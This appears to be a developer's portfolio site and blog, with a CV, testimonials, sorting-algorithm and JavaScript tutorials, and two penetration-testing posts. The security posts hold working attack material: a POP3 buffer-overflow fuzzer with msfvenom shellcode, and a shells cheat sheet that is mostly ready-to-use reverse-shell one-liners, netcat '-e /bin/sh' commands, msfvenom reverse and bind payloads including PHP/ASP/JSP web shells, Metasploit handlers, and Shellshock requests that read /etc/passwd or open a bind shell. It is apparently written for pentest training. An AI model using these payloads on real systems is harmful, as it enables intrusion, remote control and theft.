Anas Aboureada

SingMoji

Your personal music messenger! It's a web mobile app to record anything and transfer it to a full song with composition

DoReMIR Audio Analysis API

Real-time polyphonic and monophonic Audio Analysis Service that creates music notation from voices.

SongSketcher API

REST API to our clients to consume "DoReMIR Audio Analysis API"

ScoreCloud API

ScoreCloud is 'Like Google Translate for music'. It instantly turns your singing or songs into sheet music.

Gadawel

Gadawel is an educational mobile app which helps you on making a schedule for your subjects, assignments and having a smart table which is your aide in determining your attendance. Jadawel is like an assist of the pupils and teachers.

Milton Hultgren

Anas is one of, if not the, best hires I've made. He's self driven, motivated by challenge, has a strong work ethic and is constantly looking to improve.  From day one Anas did two things that impressed me. Firstly, he dove straight into the teams work, trying to add value as quickly as possible and he did. Secondly, his first request from me was about feedback and how to setup a development plan to help him reach his next goals. Anas is a very caring teammate and I'm happy to see him take the next steps in becoming a leader. Anas is a great person to have on your team, in your company and as your friend. 

Sven Emtell

I really enjoy working with Anas. He is a very skilled backend and frontend developer who is always eager to learn new technologies and increase his knowledge. He puts his heart and soul into work and always delivers. Anas is also a great guy to have around with his international experience and interest in history and world politics.

Ahmed Korany

Anas is a Talented Software Engineer with the passion to learn about new technologies and continues learning, proactively works with the teams to get work done in very fast and elegant way. I enjoyed work with Anas.

Google Cloud Platform

Kubernetes

AWS Lambda

AWS API Gateway

AWS EC2

Node.js

Java

Express

RabbitMQ

Sails.js

Google Datastore

Amazon DynamoDB

MongoDB

PostgreSQL

MySQL

ElasticSearch

Redis

React

Redux

RxJS

AngularJS

JavaScript

HTML5

CSS3

SASS

LESS

Travis

Gulp

Grunt

Mocha

Chai

Locust

Vagrant

Docker

Jest

## Definitions

### What is stable sorting?

A sorting algorithm is said to be stable if two objects with equal keys appear in the same order in sorted output as they appear in the input array to be sorted.

### What is in-place sorting?

An in-place sorting algorithm uses constant extra space even for producing the output (modifies the given array only). For example, Insertion Sort and Selection Sorts are in-place sorting algorithms and a typical implementation of Merge Sort is not in-place.

### What are Internal and External Sorting?

When all data that needs to be sorted cannot be placed in-memory at a time, the sorting is called external sorting. External Sorting is used for massive amount of data. Merge Sort and its variations are typically used for external sorting. Some external storage like hard-disk, CD, etc is used for external storage.

When all data is placed in-memory, then sorting is called internal sorting.

## Insertion Sort

Insertion sort is a simple sorting algorithm that is relatively efficient for small lists and mostly sorted lists, and is often used as part of more sophisticated algorithms.

| Class                       | Sorting algorithm                                                                                                                                                        |
|-----------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Data structure              | Array                                                                                                                                                                    |
| Worst-case performance      | О(n2) comparisons, swaps                                                                                                                                                 |
| Best-case performance       | O(n) comparisons, O(1) swaps                                                                                                                                             |
| Average performance         | О(n2) comparisons, swaps                                                                                                                                                 |
| Worst-case space complexity | О(n) total, O(1) auxiliary                                                                                                                                               |
| Boundary Cases              | Insertion sort takes maximum time to sort if elements are sorted in reverse order. And it takes minimum time (Order of n) when elements are already sorted.              |
| Algorithmic Paradigm        | Incremental Approach                                                                                                                                                     |
| Sorting In Place            | Yes                                                                                                                                                                      |
| Stable                      | Yes                                                                                                                                                                      |
| Online                      | Yes                                                                                                                                                                      |
| Uses                        | Insertion sort is used when number of elements is small. It can also be useful when input array is almost sorted, only few elements are misplaced in complete big array. |

![Insertion_sort](https://storage.googleapis.com/aboureada.com/images/array_sort_algorithms_in_python/Insertion_sort.gif)
![Insertion-sort-example](https://storage.googleapis.com/aboureada.com/images/array_sort_algorithms_in_python/Insertion-sort-example-300px.gif)

```python
def insertion_sort(arr):
    for i in range(1, len(arr)):
        key = arr[i]
        j = i - 1
        while j >= 0 and arr[j] and key < arr[j]:
            arr[j + 1] = arr[j]
            j -= 1
        arr[j + 1] = key
    return arr

if __name__ == '__main__':
    test1 = insertion_sort([12, 11, 13, 5, 6])
    if not test1 == [5, 6, 11, 12, 13]: raise AssertionError
```

## Merge sort

Class | Sorting algorithm
|-----|-----|
|Data | structure Array|
|Worst-case performance | O(n log n)|
|Best-case performance | O(n log n) typical, O(n) natural variant|
|Average performance | O(n log n)|
|Worst-case space complexity | О(n) total, O(n) auxiliary|
|Algorithmic Paradigm | Divide and Conquer|
|Sorting In Place| No in a typical implementation|
|Stable| Yes|

![Merge-sort-example](https://storage.googleapis.com/aboureada.com/images/array_sort_algorithms_in_python/Merge-sort-example-300px.gif)

```python
def merge(l, r):
    i = 0
    j = 0
    s = []

    while i < len(l) and j < len(r):
        if (l[i] <= r[j]):
            s.append(l[i])
            i += 1
        else:
            s.append(r[j])
            j += 1

    while i < len(l):
        s.append(l[i])
        i += 1

    while j < len(r):
        s.append(r[j])
        j += 1
    return s

def merge_sort(arr):
    ln = len(arr)

    if ln > 1:
        m  = int(ln / 2)
        l = arr[ : m]
        r = arr[m: ]
        ls = merge_sort(l)
        rs = merge_sort(r)
        return merge(ls, rs)
    else:
        return arr

if __name__ == '__main__':
    test0 = merge_sort([7, 89, 60])
    if not test0 == [7, 60, 89]: raise AssertionError

    test1 = merge_sort([12, 11, 13, 5, 6])
    if not test1 == [5, 6, 11, 12, 13]: raise AssertionError

    test2 = merge_sort([12, 11, 13, 5, 6, 13])
    if not test2 == [5, 6, 11, 12, 13, 13]: raise AssertionError

    test3 = merge_sort([12, 5, 11, 13, 5, 6, 13])
    if not test3 == [5, 5, 6, 11, 12, 13, 13]: raise AssertionError
```

## Quick Sort

Class |  Sorting algorithm| |
| ---- | ----- |----|
Worst-case performance|O(n2)
Best-case performance | O(n log n) (simple partition) | or O(n) (three-way partition and equal keys)
Average performance | O(n log n)
Worst-case space complexity | O(n) auxiliary (naive) | O(log n) auxiliary (Sedgewick 1978)

![Sorting_quicksort_anim](https://storage.googleapis.com/aboureada.com/images/array_sort_algorithms_in_python/Sorting_quicksort_anim.gif)

```python
def partition(array, begin, end):
    pivot = begin
    for i in range(begin + 1, end + 1):
        if array[i] <= array[begin]:
            pivot += 1
            array[i], array[pivot] = array[pivot], array[i]
    array[pivot], array[begin] = array[begin], array[pivot]
    return pivot

def quick_sort(array, begin=0, end=None):
    if end is None:
        end = len(array) - 1
    def _quicksort(array, begin, end):
        if begin >= end:
            return
        pivot = partition(array, begin, end)
        _quicksort(array, begin, pivot - 1)
        _quicksort(array, pivot + 1, end)
        return array
    return _quicksort(array, begin, end)

if __name__ == '__main__':
    test0 = quick_sort([7, 89, 60])
    print('test0', test0)
    if test0 != [7, 60, 89]: raise AssertionError

    test1 = quick_sort([12, 11, 13, 5, 6])
    print('test1', test1)
    if test1 != [5, 6, 11, 12, 13]: raise AssertionError

    test2 = quick_sort([12, 11, 13, 5, 6, 13])
    print('test2', test2)
    if test2 != [5, 6, 11, 12, 13, 13]: raise AssertionError

    test3 = quick_sort([12, 5, 11, 13, 5, 6, 13])
    print('test3', test3)
    if test3 != [5, 5, 6, 11, 12, 13, 13]: raise AssertionError
```


Learn sort algorithms in Python. Insertion Sort & Merge Sort

Array sort algorithms in Python

array_sort_algorithms_in_python

Those are the main ways of identifying flaws in applications

- If the source code of the application is available, then source code review is probably the easiest way to identify bugs.
- If the application is closed source, you can use reverse engineering techniques, or fuzzing, to find bugs.

## A look inside Stack while a simple app is running

![inside_stack](https://storage.googleapis.com/aboureada.com/images/how_to_identify_buffer_overflows_inside_your_application/inside_stack.png)

## Fuzzing

- Fuzzing involves sending malformed data into application input and watching for unexpected crashes.
- An unexpected crash indicates that the application might not filter certain input correctly. This could lead to discovering an exploitable vulnerability.
- Nmap Fuzzers:

  - NMap Fuzzer List
      [https://nmap.org/nsedoc/categories/fuzzer.html](https://nmap.org/nsedoc/categories/fuzzer.html)

  - NMap HTTP Form Fuzzer

    ```bash
      nmap --script http-form-fuzzer --script-args
      'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}'
      -p 80 $ip
    ```

  - Nmap DNS Fuzzer

    ```bash
    nmap --script dns-fuzz --script-args timelimit=2h $ip -d
    ```

- MSFvenom
    [*https://www.offensive-security.com/metasploit-unleashed/msfvenom/*](https://www.offensive-security.com/metasploit-unleashed/msfvenom/)

### A Word About DEP and ASLR

- __DEP__ (Data Execution Prevention) is a set of hardware, and software, technologies that perform additional checks on memory, to help prevent malicious code from running on a system.
- The primary benefit of __DEP__ is to help prevent code execution from data pages, by raising an exception, when execution occurs.
- __ASLR__ (Address Space Layout Randomization) randomizes the base addresses of loaded applications, and DLLs, every time the Operating System is booted.

#### Interacting with the POP3 Protocol

  > if the protocol under examination was unknown to us, we would either need to look up the RFC of the protocol format, or learn it ourselves, using a tool like Wireshark.

- To reproduce the netcat connection usage performed earlier in the course using a Python script, our code would look similar to the following

```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  print "\nSending vil buffer..."
  s.connect(('10.0.0.22',110))     #connect to IP, POP3 port
  data = s.recv(1024)     # receive banner
  print data     # print banner

  s.send('USER   test' +'\r\n')     # end username "test"
  data = s.recv(1024)     # receive reply
  print data     # print reply

  s.send('PASS test\r\n')     # send password "test"
  data = s.recv(1024)     # receive reply
  print data     # print reply

  s.close()     # close socket
  print "\nDone!"

except:
  print "Could not connect to POP3!"
```

- Taking this simple script and modifying it to fuzz the password field during the login process is easy. The resulting script would look like the following.

```python
#!/usr/bin/python
import socket

# Create an array of buffers, from 10 to 2000, with increments of 20.
buffer=["A"]
counter=100

while len(buffer) <= 30:
  buffer.append("A"*counter)
  counter=counter+200

for string in buffer:
  print "Fuzzing PASS with %s bytes" %len(string)
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  s.recv(1024)
  s.send('USER test\r\n')
  s.recv(1024)
  s.send('PASS ' + string + '\r\n')
  s.send('QUIT\r\n')
  s.close()
```

- Run this script against your SLMail instance, while attached to __Immunity Debugger__.
- The results of running this script shows that the __Extended Instruction Pointer (EIP)__ register has been overwritten with our input buffer of A’s (the hex equivalent of the letter A is \x41).
- This is of particular interest to us, as the EIP register also controls the execution flow of the application.
- This means that if we craft our exploit buffer carefully, we might be able to divert the execution of the program to a place of our choosing, such as a into the memory where we can introduce some reverse shell code, as part of our buffer.

![Execution Halted in OllyDbg](https://storage.googleapis.com/aboureada.com/images/how_to_identify_buffer_overflows_inside_your_application/33.png)

## Check for bad characters

```bash
>> python -c \
'print "A"*80 + "B"*4 + \
"x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10" + \
"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20" + \
"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30" + \
"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40" + \
"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50" + \
"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60" + \
"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70" + \
"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80" + \
"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90" + \
"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0" + \
"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0" + \
"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0" + \
"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0" + \
"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0" + \
"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0" + \
"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff"'
```

## Generate meterpreter bind-tcp payload

```bash
>> msfvenom -p linux/x86/meterpreter/bind_tcp -b="0x00" -f python
```

```python
# using output from last command we can create our full payload
python -c \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + \
"BBBB" + \
'print "A"*80 + "B"*4 + "x90" * (400 - 137) + \
"\xba\x8a\x2a\xb0\xa4\xd9\xed\xd9\x74\x24\xf4\x5d\x31" + \
"\xc9\xb1\x1c\x31\x55\x14\x03\x55\x14\x83\xed\xfc\x68" + \
"\xdf\xda\xd9\x34\xb9\xa9\x25\x7d\xb9\xdd\x29\x7d\x33" + \
"\x3e\x4f\xfc\xa0\xc1\x60\x33\xa6\xf3\x5b\x3c\x44\xa0" + \
"\x18\x91\xe1\x45\x16\xf4\x46\x2f\xe5\x76\xf7\xda\xf1" + \
"\x22\x92\x18\x90\xcb\x32\x8a\xed\x2a\xd8\xba\xb6\xc6" + \
"\x7b\x9b\x85\x96\x13\x98\xd2\x82\x42\xc4\x84\xf8\x1c" + \
"\xf8\x38\xed\x80\x96\x28\x5c\x69\xee\xa8\x34\xef\xa8" + \
"\xe7\x48\x3e\xab\x48\x2e\x0c\xac\xf9\xed\x3e\xcb\x70" + \
"\xa0\x3a\xd9\x03\xd1\xf5\xed\xb3\xd6\x34\x6d\x34\x07" + \
"\x9d\xde\x3d\x7a\xa2\xe0\xa3"'
```


Learn the main essential way to discover buffer overflows inside your application

How to identify buffer overflows inside your application

how_to_identify_buffer_overflows_inside_your_application

This is a very detailed tutorial that explains types of networks, physical and logical topologies, wan technologies, network hardware, network devices, network design, osi model, tcp/ip model, how protocol stacks communicate, how tcp packets are created, network addressing, ports and protocols, dns (domain name system), ip protocols and the osi, udp (user diagram protocol), tcp (transmission control protocol), establishing a tcp connection, closing a tcp connection, tcp header, tcp vs udp, ftp (file transfer protocol), icmp (internet control message protocol)& traceroute

Introduction to networking concepts

introduction_to_networking_concepts

## Netcat Shell Listener

```bash
  nc -nlvp 4444
```

## Spawning a TTY Shell - Break out of Jail or limited shell

You should almost always upgrade your shell after taking control of an apache or www user.

(For example when you encounter an error message when trying to run an exploit sh: no job control in this shell )

(hint: sudo -l to see what you can run)

- You may encounter limited shells that use rshell-session and only allow you to execute a single command per session.
    You can overcome this by executing an SSH shell to your localhost:

  ```bash
    ssh user@$ip nc $localip 4444 -e /bin/sh
    enter user's password
    python -c 'import pty; pty.spawn("/bin/sh")'
    export TERM=linux
  ```

  ```bash
    python -c 'import pty; pty.spawn("/bin/sh")'
  ```

  ```bash
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);          s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'
  ```

  ```bash
  python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  ```

  ```bash
    echo os.system('/bin/shell-session')
  ```

  ```bash
    /bin/sh -i
  ```

  ```bash
    perl —e 'exec "/bin/sh";'
  ```

  ```bash
    # perl:
    exec "/bin/sh";
  ```

  ```bash
    # ruby:
    exec "/bin/sh"
  ```

  ```bash
    # lua:
    os.execute('/bin/sh')
  ```

  ```bash
    # From within IRB:
    exec "/bin/sh"
  ```

  ```bash
    # From within vi:
    :!shell-session
    # or
    :set shell=/bin/shell-session:shell
  ```

  ```bash
    # From within vim
    ':!shell-session':
  ```

  ```bash
    # From within nmap:
    !sh
  ```

  ```bash
    # From within tcpdump
    echo $’id\\n/bin/netcat $ip 443 –e /bin/shell-session’ > /tmp/.test chmod +x /tmp/.test sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root
  ```

  ```bash
    # From busybox
    /bin/busybox telnetd -|/bin/sh -p9999
  ```

## Creating Meterpreter Shells with MSFVenom

### [most-useful-msfvenom-payloads](http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/)

### *Linux*
  ```bash
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
  ```

### *Windows*
  ```bash
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
  ```

### *Mac*
  ```bash
    msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
  ```

### **Web Payloads**

- *PHP*

```bash
  msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
  ## OR
  msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

  ## Then we need to add the <?php at the first line of the file so that it will execute as a PHP webpage:
  cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```

- *ASP*

```bash
  msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
```

- *JSP*

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
```

- *WAR*

```bash
  msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
```

### **Scripting Payloads**

- *Python*

```bash
  msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
```

- *shell-session*

```bash
  msfvenom -p cmd/unix/reverse_shell-session LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
```

- *Perl*

```bash
  msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
```

### **Shellcode**

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

- *Linux Based Shellcode*

```bash
  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
```

- *Windows Based Shellcode*

```bash
  msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
```

- *Mac Based Shellcode*

```bash
  msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
```

## **Handlers**

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

```bash
  use exploit/multi/handler
  set PAYLOAD <Payload name>
  set LHOST <LHOST value>
  set LPORT <LPORT value>
  set ExitOnSession false
  exploit -j -z
```

Once the required values are completed the following command will execute your handler – `msfconsole -L -r`

- SSH to Meterpreter: [got-ssh-creds-want-meterpreter-try-this](https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/)

```bash
  use auxiliary/scanner/ssh/ssh_login
  use post/multi/manage/shell_to_meterpreter
```

- SBD.exe

    sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only.

    sbd.exe (part of the Kali linux distribution: /usr/share/windows-binaries/backdoors/sbd.exe) can be uploaded to a windows box as a Netcat alternative.

- Shellshock

  - Testing for shell shock with NMap

    ```bash
      root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi $ip
    ```

  - git clone [shocker](https://github.com/nccgroup/shocker)

    ```bash
      ./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
    ```

  - Shell Shock SSH Forced Command

      Check for forced command by enabling all debug output with ssh

    ```bash
      ssh -vvv
      ssh -i noob noob@$ip '() { :;}; /bin/shell-session'
    ```

  - cat file (view file contents)

    ```bash
      echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo \\$(</etc/passwd)\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80
    ```

  - Shell Shock run bind shell

    ```bash
      echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e /bin/sh\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80
    ```

## Reverse Shell with Msfvenom

### List payloads

```bash
msfvenom -l
```

Or

```bash
msfvenom --list payloads
```

### Generate a PHP payload

```bash
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
```

### Generate a Windows payload

#### Meterpreter - Reverse shell (x64):

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > reverse.exe
```

#### Meterpreter - Reverse shell:

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Attacker_IP> LPORT=<Attacker_PORT> -f exe > reverse.exe
```

##### Meterpreter - Bind shell:

```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=<Target_IP> LPORT=<Target_Port> -f exe > bind.exe
```

##### CMD - Reverse shell:

```bash
msfvenom -p windows/shell/reverse_tcp LHOST=<Attacker_IP> LPORT=<Attacker_port> -f exe > prompt.exe
```

### Generate a Linux payload

#### Meterpreter - Reverse shell:

```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Attacker_IP> LPORT=<Attacker_port> -f elf > reverse_bin
```

### Generate a Python payload

```bash
msfvenom -p cmd/unix/reverse_python LHOST=<Attacker_IP> LPORT=<Attacker_port> -f raw > reverse.py
```

### Generate a WAR payload

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Attacker_IP> LPORT=<Attacker_port> -f war > payload.war
```

### Generate an ASP payload

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Attacker_IP> LPORT=<Attacker_PORT> -f asp > reverse.asp
```

### Generate encoded payloads

#### Shikata\_ga\_nai

```bash
msfvenom -p <PAYLOAD> -e shikata_ga_nai -i 5 -f raw > reverse
```

## Tools and useful links

- [Pen test monkey PHP reverse shell](http://pentestmonkey.net/tools/web-shells/php-reverse-shell)

- [php-findsock-shell](http://pentestmonkey.net/tools/web-shells/php-findsock-shell) - turns PHP port 80 into an interactive shell

- [Perl Reverse Shell](http://pentestmonkey.net/tools/web-shells/perl-reverse-shell)

- [PHP powered web browser Shell b374k with file upload etc.](https://github.com/b374k/b374k)

- [Windows reverse shell](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1) - PowerSploit’s Invoke-Shellcode script and inject a Meterpreter shell

- [Web Backdoors from Fuzzdb](https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors)

## Sources

- [OSCP-Survival-Guide](https://github.com/H4oK3/OSCP-Survival-Guide)


# Guide to all types of shells that you might need while doing penetration testing

Shells (Guide to all types of shells that you might need)

shells_guide_to_all_types_of_shells_that_you_might_need

# 'This' Parameter in JavaScript

## Q: How to get the actual value of the parameter `this`?

### Answer

- `this` will alwas take the value of the apearing on the left side of the `.`

```javascript
var fn = function(one, two){
  console.log(this, one, two);
}

var r = {r: 'r'}, g = 'g', b = 'b';

r.method = fn;

r.method(g, b); // this will log => r, g, b
```

- If there is no `.` in method call `this` will refer to the `global` object

```javascript
var fn = function(one, two){
  console.log(this, one, two);
}

var r = {}, g = 'g', b = 'b';

fn(g, b); // this will log => <global> , g, b
```

- What if we want to define `this` our selfes without making the methon as a property of another object

  - **We can do that by using `call` method**

```javascript

var fn = function(one, two){
  console.log(this, one, two);
}

var r = {}, g = 'g', b = 'b';

fn.call(r, g, b); // this will log => r, g, b

```

- Even we can overwrite the default `.` rule to pass a custom object to `this` to refer to using `call` method like that

```javascript
var fn = function(one, two){
  console.log(this, one, two);
}

var r = {}, g = 'g', b = 'b', y = 'y';

r.method = fn;

r.method.call(y, g, b); // this will log => y, g, b
```

- what will happen When some function is passed as a parameter to another function `this`

```javascript

var fn = function(one, two){
  console.log(this, one, two);
}

var r = {}, g = 'g', b = 'b', y = 'y';

setTimeout(fn, 100); // this will log => <global>, undefined, undefined

```

- consider also this example
  - The only moment that matter is when the function get invoked not when it is passed, So this will also print out `global` not `r`

```javascript

var fn = function(one, two){
  console.log(this, one, two);
}

var r = {}, g = 'g', b = 'b', y = 'y';

r.method = fn;

setTimeout(r.method, 100);// this will also log => <global>, undefined, undefined

```

- Now let's try this example, `this` will behave like normal in such case as the calling time is what we are caring of

```javascript

var fn = function(one, two){
  console.log(this, one, two);
}

var r = {}, g = 'g', b = 'b', y = 'y';

r.method = fn;

setTimeout(function(){
  r.method(g,b);
}, 100); // this will log => r, g, b

```

- For the last example we can see new object empty object created in case we used `new` with our call

```javascript
var fn = function(one, two){
  console.log(this, one, two);
}

var r = {}, g = 'g', b = 'b';

r.method = fn;

new r.method(g, b); // this will log => {}, g, b
```


Hi, I'm Anas Aboureada

Lead Web Developer Engineer

About Me

A small introduction about my self

technical skills

I can say i’m quite good at

Work Experience

My story as a developer

Watch my blog

I write about web development and information security

Array sort algorithms in Python

How to identify buffer overflows inside your application

Introduction to networking concepts

Shells (Guide to all types of shells that you might need)

Understand This Parameter in JavaScript

Get in touch

You can reach me here